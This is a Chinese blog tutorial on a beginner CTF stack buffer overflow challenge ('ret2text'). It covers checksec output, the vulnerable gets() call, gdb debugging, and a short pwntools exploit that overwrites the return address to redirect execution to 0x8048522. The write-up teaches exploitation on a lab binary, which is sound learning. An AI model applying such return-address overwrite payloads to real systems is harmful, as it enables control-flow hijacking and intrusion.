博客
关于我
pwn之栈缓冲区溢出漏洞(入门)
阅读量:519 次
发布时间:2019-03-06

本文共 1126 字,大约阅读时间需要 3 分钟。

题目信息确认

使用file命令查看文件类型

ret2text: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=64894e1bcdc9d77d3d983e907eba2605dbf19103, with debug_info, not stripped

使用checksec查看是否有保护

[*] '/home/ret2text'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x8048000)

使用ida查看内容

setbuf(xxxx,0) 关闭缓冲区

进入vulnerable()查看

int vulnerable(){  char buffer[8]; // [esp+8h] [ebp-10h]  gets(buffer);  return 0;}

创建了一个8个字节的缓存,但是gets函数允许向buffer输入无限的内容。造成缓冲区溢出漏洞

根据IDA中的注释 char buffer[8]; // [esp+8h] [ebp-10h] 可以知道这个buffer距离esp 8个字符,距离ebp -16个字符(10h是16进制的10)。那么就需要溢出16个字节。

动态调试

使用动态调试工具确认溢出长度

gdb xxx 进入调试魔术xxx是指需要动态调试的文件

run 直接运行(一般在run之前使用断点)

b *地址 或者 b main

使用 next 进行断点前进。可以观察一步步的运行结果

使用 s 进入某个具体的函数

或者使用 stack 24 查看24项stack

payload制作

使用 from pwn import * 导入所有pwn需要的工具

使用 io=process("./ret2text") 打开进程访问链接

覆盖数据 [ebp-10h] 一共16个字符。

覆盖 return 4个字符

修改返回地址使用p32(0x8048522)

组成数据 payload=b'a' * 16 + b'1' * 4 + p32(0x8048522)

使用 io.send(payload) 发送payload

使用 io.interactive 创建交互式会话接口

转载地址:http://hnsyz.baihongyu.com/

你可能感兴趣的文章
Objective-C实现快速傅立叶变换FFT算法(附完整源码)
查看>>
Objective-C实现快速傅里叶变换FFT(附完整源码)
查看>>
Objective-C实现快速傅里叶变换FFT(附完整源码)
查看>>
Objective-C实现快速排序(附完整源码)
查看>>
Objective-C实现快速排序(附完整源码)
查看>>
Objective-C实现快速排序算法(附完整源码)
查看>>
Objective-C实现恩尼格玛密码机算法(附完整源码)
查看>>
Objective-C实现感知哈希算法(附完整源码)
查看>>
Objective-C实现感知哈希算法(附完整源码)
查看>>
Objective-C实现截留雨水问题的动态编程方法算法(附完整源码)
查看>>
Objective-C实现截留雨水问题的蛮力方法的算法(附完整源码)
查看>>
Objective-C实现打印10000以内的完数(附完整源码)
查看>>
Objective-C实现打印1000以内的水仙花数(附完整源码)
查看>>
Objective-C实现打印九九乘法表(附完整源码)
查看>>
Objective-C实现打印从 0 到 n 的卡特兰数算法(附完整源码)
查看>>
Objective-C实现打印函数调用堆栈( 附完整源码)
查看>>
Objective-C实现打印月份的日历算法(附完整源码)
查看>>
Objective-C实现打印杨辉三角(附完整源码)
查看>>
Objective-C实现打印某年的历法日期(附完整源码)
查看>>
Objective-C实现打印魔方矩阵(附完整源码)
查看>>